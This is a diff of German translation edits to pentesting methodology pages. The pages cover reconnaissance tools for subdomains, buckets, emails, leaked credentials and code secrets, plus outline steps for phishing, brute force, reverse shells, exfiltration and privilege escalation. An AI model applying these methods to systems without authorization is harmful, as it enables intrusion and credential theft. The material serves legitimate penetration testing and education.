Da Sie zu diesem Zeitpunkt alle Domains im Scope kennen, versuchen Sie, [**mögliche Bucket-Namen per Brute Force zu ermitteln und die Berechtigungen zu überprüfen**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Überwachung**
|
||||
|
||||
|
@ -471,14 +468,14 @@ Sie können **überwachen**, ob **neue Subdomains** einer Domain erstellt werden
|
|||
### **Suche nach Schwachstellen**
|
||||
|
||||
Überprüfen Sie mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Wenn die **Subdomain** auf einen **S3-Eimer** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Wenn die **Subdomain** auf einen **S3-Bucket** verweist, [**überprüfen Sie die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Wenn Sie eine **Subdomain mit einer anderen IP** als denjenigen gefunden haben, die Sie bereits bei der Assets-Entdeckung gefunden haben, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie "anzugreifen"**.\
|
||||
Wenn Sie eine **Subdomain mit einer anderen IP** als den bereits gefundenen Assets finden, sollten Sie einen **grundlegenden Schwachstellen-Scan** durchführen (mit Nessus oder OpenVAS) und einen [**Port-Scan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nach den ausgeführten Diensten finden Sie in **diesem Buch einige Tricks, um sie "anzugreifen"**.\
|
||||
_Beachten Sie, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, daher nicht im Scope liegt. Seien Sie vorsichtig._
|
||||
|
||||
## IPs
|
||||
|
||||
In den ersten Schritten haben Sie möglicherweise **einige IP-Bereiche, Domains und Subdomains gefunden**.\
|
||||
In den ersten Schritten haben Sie möglicherweise **IP-Bereiche, Domains und Subdomains gefunden**.\
|
||||
Es ist an der Zeit, **alle IPs aus diesen Bereichen zu sammeln** und für die **Domains/Subdomains (DNS-Abfragen)**.
|
||||
|
||||
Mit Diensten der folgenden **kostenlosen APIs** können Sie auch **frühere IPs finden, die von Domains und Subdomains verwendet wurden**. Diese IPs könnten immer noch im Besitz des Kunden sein (und könnten es Ihnen ermöglichen, [**CloudFlare-Bypasses zu finden**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
@ -497,47 +494,47 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse verweise
|
|||
|
||||
> Wir haben alle Unternehmen und ihre Assets gefunden und kennen die IP-Bereiche, Domains und Subdomains im Scope. Es ist Zeit, nach Webservern zu suchen.
|
||||
|
||||
In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zum Suchen von Webservern** im Scope sehen.
|
||||
In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Rekognoszierungen der entdeckten IPs und Domains** durchgeführt, sodass Sie möglicherweise **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen.
|
||||
|
||||
Bitte beachten Sie, dass dies auf die **Entdeckung von Webanwendungen ausgerichtet sein wird**, daher sollten Sie auch die **Schwachstellen** und **Port-Scans** durchführen (**falls im Scope erlaubt**).
|
||||
|
||||
Eine **schnelle Methode** zum Entdecken von **offenen Ports** im Zusammenhang mit **Web**-Servern mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\
|
||||
Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen:
|
||||
Eine **schnelle Methode** zur Entdeckung von **offenen Ports** im Zusammenhang mit **Webservern** mit [**masscan finden Sie hier**](../pentesting-network/#http-port-discovery).\
|
||||
Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versucht, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Darüber hinaus können Sie angeben, auch andere Ports zu versuchen:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Screenshots**
|
||||
|
||||
Nachdem du **alle Webserver** im Umfang entdeckt hast (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), weißt du wahrscheinlich **nicht, wo du anfangen sollst**. Also lass es uns einfach machen und fange damit an, Screenshots von allen zu machen. Schon durch einen Blick auf die **Hauptseite** kannst du **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind.
|
||||
Nachdem Sie **alle Webserver** im Umfang entdeckt haben (unter den **IPs** des Unternehmens und allen **Domains** und **Subdomains**), wissen Sie wahrscheinlich **nicht, wo Sie anfangen sollen**. Also, machen wir es einfach und fangen einfach an, Screenshots von allen zu machen. Schon durch einen Blick auf die **Hauptseite** können Sie **seltsame** Endpunkte finden, die anfälliger für **Schwachstellen** sind.
|
||||
|
||||
Um die vorgeschlagene Idee umzusetzen, kannst du [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** verwenden.
|
||||
Um die vorgeschlagene Idee umzusetzen, können Sie [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) oder [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** verwenden.
|
||||
|
||||
Darüber hinaus könntest du dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und dir zu sagen, **was wahrscheinlich Schwachstellen enthält** und was nicht.
|
||||
Darüber hinaus könnten Sie dann [**eyeballer**](https://github.com/BishopFox/eyeballer) verwenden, um alle **Screenshots** zu durchsuchen und Ihnen mitzuteilen, **was wahrscheinlich Schwachstellen enthält** und was nicht.
|
||||
|
||||
## Öffentliche Cloud-Ressourcen
|
||||
|
||||
Um potenzielle Cloud-Ressourcen eines Unternehmens zu finden, solltest du mit einer Liste von Schlüsselwörtern beginnen, die dieses Unternehmen identifizieren. Zum Beispiel könntest du für ein Krypto-Unternehmen Wörter wie: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">` verwenden.
|
||||
Um potenzielle Cloud-Ressourcen eines Unternehmens zu finden, sollten Sie mit einer Liste von Schlüsselwörtern beginnen, die dieses Unternehmen identifizieren. Zum Beispiel könnten Sie für ein Krypto-Unternehmen Wörter wie: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">` verwenden.
|
||||
|
||||
Du benötigst auch Wortlisten von **üblichen Wörtern, die in Buckets verwendet werden**:
|
||||
Sie benötigen auch Wortlisten von **üblichen Wörtern, die in Buckets verwendet werden**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Dann solltest du mit diesen Wörtern **Permutationen generieren** (siehe die [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) für weitere Informationen).
|
||||
Dann sollten Sie mit diesen Wörtern **Permutationen generieren** (überprüfen Sie die [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) für weitere Informationen).
|
||||
|
||||
Mit den resultierenden Wortlisten könntest du Tools wie [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** verwenden.
|
||||
Mit den resultierenden Wortlisten könnten Sie Tools wie [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **oder** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** verwenden.
|
||||
|
||||
Denke daran, dass du bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen solltest.
|
||||
Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Buckets in AWS** suchen sollten.
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
Wenn du Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** findest, solltest du **auf sie zugreifen** und versuchen zu sehen, was sie dir bieten und ob du sie missbrauchen kannst.
|
||||
Wenn Sie auf Dinge wie **offene Buckets oder freigegebene Cloud-Funktionen** stoßen, sollten Sie **darauf zugreifen** und versuchen zu sehen, was sie Ihnen bieten und ob Sie sie missbrauchen können.
|
||||
|
||||
## E-Mails
|
||||
|
||||
Mit den **Domains** und **Subdomains** im Umfang hast du im Grunde alles, was du brauchst, um nach E-Mails zu suchen. Dies sind die **APIs** und **Tools**, die für mich am besten funktioniert haben, um E-Mails eines Unternehmens zu finden:
|
||||
Mit den **Domains** und **Subdomains** im Umfang haben Sie im Grunde alles, was Sie brauchen, um nach E-Mails zu suchen. Dies sind die **APIs** und **Tools**, die für mich am besten funktioniert haben, um E-Mails eines Unternehmens zu finden:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - mit APIs
|
||||
* API von [**https://hunter.io/**](https://hunter.io/) (kostenlose Version)
|
||||
|
@ -546,18 +543,18 @@ Mit den **Domains** und **Subdomains** im Umfang hast du im Grunde alles, was du
|
|||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben dir diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
|
||||
E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdienste per Brute-Force anzugreifen** (wie z. B. SSH). Außerdem werden sie für **Phishing** benötigt. Darüber hinaus geben Ihnen diese APIs noch mehr **Informationen über die Person** hinter der E-Mail, was für die Phishing-Kampagne nützlich ist.
|
||||
|
||||
## Zugangsdaten-Leaks
|
||||
|
||||
Mit den **Domains**, **Subdomains** und **E-Mails** kannst du damit beginnen, nach in der Vergangenheit geleakten Zugangsdaten zu suchen, die diesen E-Mails gehören:
|
||||
Mit den **Domains**, **Subdomains** und **E-Mails** können Sie damit beginnen, nach in der Vergangenheit geleakten Zugangsdaten zu suchen, die diesen E-Mails gehören:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
Wenn du **gültige geleakte** Zugangsdaten findest, ist dies ein sehr einfacher Gewinn.
|
||||
Wenn Sie **gültige geleakte** Zugangsdaten finden, ist dies ein sehr einfacher Gewinn.
|
||||
|
||||
## Geheimnis-Leaks
|
||||
|
||||
|
@ -566,13 +563,13 @@ Zugangsdaten-Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen *
|
|||
### Github-Leaks
|
||||
|
||||
Zugangsdaten und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer** geleakt werden, die für dieses Github-Unternehmen arbeiten.\
|
||||
Du kannst das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber laufen zu lassen.
|
||||
Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber laufen zu lassen.
|
||||
|
||||
**Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **übergebenen URLs** auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
|
||||
|
||||
#### Github-Dorks
|
||||
|
||||
Überprüfe auch diese **Seite** nach potenziellen **Github-Dorks**, nach denen du in der angegriffenen Organisation suchen könntest:
|
||||
Überprüfen Sie auch diese **Seite** nach potenziellen **Github-Dorks**, nach denen Sie in der angegriffenen Organisation suchen könnten:
|
||||
|
||||
{% content-ref url="github-leaked-secrets.md" %}
|
||||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
|
@ -580,37 +577,37 @@ Du kannst das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwe
|
|||
|
||||
### Pastes-Leaks
|
||||
|
||||
Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
|
||||
Du kannst das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
|
||||
Manchmal veröffentlichen Angreifer oder einfach Mitarbeiter Unternehmensinhalte auf einer Paste-Seite. Dies könnte sensible Informationen enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
|
||||
Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
|
||||
|
||||
### Google-Dorks
|
||||
|
||||
Alte, aber bewährte Google-Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **Tausende** möglicher Abfragen enthält, die du nicht manuell ausführen kannst. Du könntest also deine Lieblings-10 auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
|
||||
Alte, aber bewährte Google-Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **Tausende** möglicher Abfragen enthält, die Sie nicht manuell ausführen können. Sie können also Ihre Lieblings-10 auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
|
||||
|
||||
_Beachte, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google dich sehr bald blockieren wird._
|
||||
_Beachten Sie, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google Sie sehr bald blockieren wird._
|
||||
|
||||
### **Suche nach Schwachstellen**
|
||||
|
||||
Wenn du **gültige geleakte** Zugangsdaten oder API-Token findest, ist dies ein sehr einfacher Gewinn.
|
||||
Wenn Sie **gültige geleakte** Zugangsdaten oder API-Token finden, ist dies ein sehr einfacher Gewinn.
|
||||
|
||||
## Öffentliche Code-Schwachstellen
|
||||
|
||||
Wenn du feststellst, dass das Unternehmen **Open-Source-Code** hat, kannst du diesen **analysieren** und nach **Schwachstellen** suchen.
|
||||
Wenn Sie feststellen, dass das Unternehmen **Open-Source-Code** hat, können Sie diesen **analysieren** und nach **Schwachstellen** suchen.
|
||||
|
||||
Je nach Sprache gibt es verschiedene **Tools**, die du verwenden kannst:
|
||||
Je nach Sprache gibt es verschiedene **Tools**, die Sie verwenden können:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Es gibt auch kostenlose Dienste, die es dir ermöglichen, **öffentliche Repositories zu scannen**, wie:
|
||||
Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repositories zu scannen**, wie:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
Die **Mehrheit der Schwachstellen**, die von Bug Bounty Jägern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Webanwendungstestmethodik** sprechen, die Sie [**hier finden können**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erhebung von anfänglichen Webinformationen zu implementieren**.
|
||||
Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners) geben, da sie zwar nicht unbedingt sehr sensible Schwachstellen finden, aber nützlich sind, um sie in **Workflows zur Erhebung von anfänglichen Webinformationen** zu implementieren.
|
||||
|
||||
## Zusammenfassung
|
||||
|
||||
|
@ -623,14 +620,14 @@ Sie haben also bereits:
|
|||
3. Alle **Domains**, die den Unternehmen gehören
|
||||
4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
|
||||
5. Alle **IPs** (von und **nicht von CDNs**) im Scope gefunden.
|
||||
6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das genauer betrachtet werden sollte?)
|
||||
7. Alle **potenziellen öffentlichen Cloud-Ressourcen**, die dem Unternehmen gehören.
|
||||
6. Alle **Webserver** gefunden und von ihnen einen **Screenshot** gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
|
||||
7. Alle **potenziellen öffentlichen Cloud-Assets** des Unternehmens gefunden.
|
||||
8. **E-Mails**, **Zugangsdaten-Leaks** und **Geheimnis-Leaks**, die Ihnen einen **großen Gewinn sehr einfach** ermöglichen könnten.
|
||||
9. **Pentesting aller von Ihnen gefundenen Websites**
|
||||
|
||||
## **Vollständige Recon-Automatisierungstools**
|
||||
|
||||
Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen.
|
||||
Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen bestimmten Scope ausführen werden.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -641,7 +638,7 @@ Es gibt mehrere Tools, die einen Teil der vorgeschlagenen Aktionen gegen einen b
|
|||
|
||||
* Alle kostenlosen Kurse von [**@Jhaddix**](https://twitter.com/Jhaddix) wie [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
|
@ -14,7 +14,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -41,11 +41,11 @@ Beachten Sie, dass bei einem externen Test, sobald Sie Zugriff auf das interne N
|
|||
### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/) **(Intern)**
|
||||
|
||||
**Dieser Abschnitt gilt nur, wenn Sie einen internen Test durchführen.**\
|
||||
Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten sniffen**, um passiv/aktiv (MitM) zu lernen, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen.
|
||||
Bevor Sie einen Host angreifen, möchten Sie möglicherweise **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder einige **Daten** **mitschneiden**, um passiv/aktiv (MitM) herauszufinden, was Sie im Netzwerk finden können. Sie können [**Pentesting Network**](pentesting-network/#sniffing) lesen.
|
||||
|
||||
### 3- [Port-Scan - Service-Erkennung](pentesting-network/#scanning-hosts)
|
||||
|
||||
Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) an.
|
||||
Das erste, was Sie tun müssen, wenn Sie **Schwachstellen in einem Host suchen**, ist zu wissen, welche **Dienste auf welchen Ports ausgeführt werden**. Schauen wir uns die [**grundlegenden Tools zum Scannen von Host-Ports**](pentesting-network/#scanning-hosts) an.
|
||||
|
||||
### **4-** [Suche nach Service-Version-Exploits](search-exploits.md)
|
||||
|
||||
|
@ -53,9 +53,9 @@ Sobald Sie wissen, welche Dienste ausgeführt werden, und vielleicht deren Versi
|
|||
|
||||
### **5-** Pentesting-Services
|
||||
|
||||
Wenn es keinen ausgefallenen Exploit für einen laufenden Dienst gibt, sollten Sie nach **üblichen Fehlkonfigurationen in jedem laufenden Dienst suchen**.
|
||||
Wenn es keinen ausgefallenen Exploit für einen ausgeführten Dienst gibt, sollten Sie nach **allgemeinen Fehlkonfigurationen in jedem ausgeführten Dienst suchen**.
|
||||
|
||||
**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig sind)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet).
|
||||
**In diesem Buch finden Sie einen Leitfaden zum Pentesten der gängigsten Dienste** (und anderer, die nicht so häufig vorkommen)**. Bitte suchen Sie im linken Index den** _**PENTESTING**_ **Abschnitt** (die Dienste sind nach ihren Standardports geordnet).
|
||||
|
||||
**Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **Teil hinweisen (da er der umfangreichste ist).**\
|
||||
Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachstellen in Software finden**](search-exploits.md).
|
||||
|
@ -64,7 +64,7 @@ Außerdem finden Sie hier einen kleinen Leitfaden, wie Sie [**bekannte Schwachst
|
|||
|
||||
#### 5.1 Automatische Tools
|
||||
|
||||
Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde Ihnen empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.**
|
||||
Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde empfehlen, es mit** [**Legion**](https://github.com/carlospolop/legion)** zu versuchen, das Tool, das ich erstellt habe und das auf den Notizen zum Pentesten von Diensten basiert, die Sie in diesem Buch finden können.**
|
||||
|
||||
#### **5.2 Brute-Force von Diensten**
|
||||
|
||||
|
@ -72,11 +72,11 @@ In einigen Szenarien könnte ein **Brute-Force** nützlich sein, um einen **Dien
|
|||
|
||||
### 6- [Phishing](phishing-methodology/)
|
||||
|
||||
Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben, **müssen Sie möglicherweise einige Phishing-Versuche unternehmen**, um ins Netzwerk einzudringen. Sie können meine Phishing-Methodik [hier](phishing-methodology/) lesen:
|
||||
Wenn Sie bis zu diesem Zeitpunkt keine interessante Schwachstelle gefunden haben, **müssen Sie möglicherweise einige Phishing-Versuche unternehmen**, um ins Netzwerk zu gelangen. Sie können meine Phishing-Methodik [hier](phishing-methodology/) lesen:
|
||||
|
||||
### **7-** [**Shell erhalten**](shells/)
|
||||
|
||||
Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich](shells/).
|
||||
Irgendwie sollten Sie einen **Weg gefunden haben, Code auf dem Opfer auszuführen**. Dann wäre eine Liste möglicher Tools im System, die Sie für eine Reverse-Shell verwenden können, sehr nützlich.
|
||||
|
||||
Insbesondere bei Windows könnten Sie Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfen Sie diese Seite**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
@ -90,13 +90,13 @@ Wenn Sie Probleme mit der Shell haben, finden Sie hier eine kleine **Zusammenste
|
|||
|
||||
### **9 -** [**Exfiltration**](exfiltration.md)
|
||||
|
||||
Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier haben Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
|
||||
Sie müssen wahrscheinlich **Daten aus dem Opfer extrahieren** oder sogar **etwas einfügen** (wie Skripte für Privilegieneskalation). **Hier finden Sie einen** [**Beitrag über gängige Tools, die Sie zu diesen Zwecken verwenden können**](exfiltration.md)**.**
|
||||
### **10- Privilege Escalation**
|
||||
|
||||
#### **10.1- Lokale Privilege-Eskalation**
|
||||
#### **10.1- Lokale Berechtigungserweiterung**
|
||||
|
||||
Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu eskalieren.**\
|
||||
Hier finden Sie eine **Anleitung zur lokalen Privilege-Eskalation in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Wenn Sie **nicht root/Administrator** innerhalb des Systems sind, sollten Sie einen Weg finden, um **Berechtigungen zu erweitern.**\
|
||||
Hier finden Sie eine **Anleitung zur lokalen Berechtigungserweiterung in** [**Linux**](../linux-hardening/privilege-escalation/) **und in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprüfen:
|
||||
|
||||
* [**Authentifizierung, Anmeldeinformationen, Token-Berechtigungen und UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
|
@ -104,11 +104,11 @@ Sie sollten auch diese Seiten über die Funktionsweise von **Windows** überprü
|
|||
* Wie man Anmeldeinformationen in Windows [**stiehlt**](broken-reference/)
|
||||
* Einige Tricks zu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Privilege-Eskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Vergessen Sie nicht, die besten Tools zur Auflistung von Windows- und Linux-Pfaden für die lokale Berechtigungserweiterung zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Domänen-Privilege-Eskalation**
|
||||
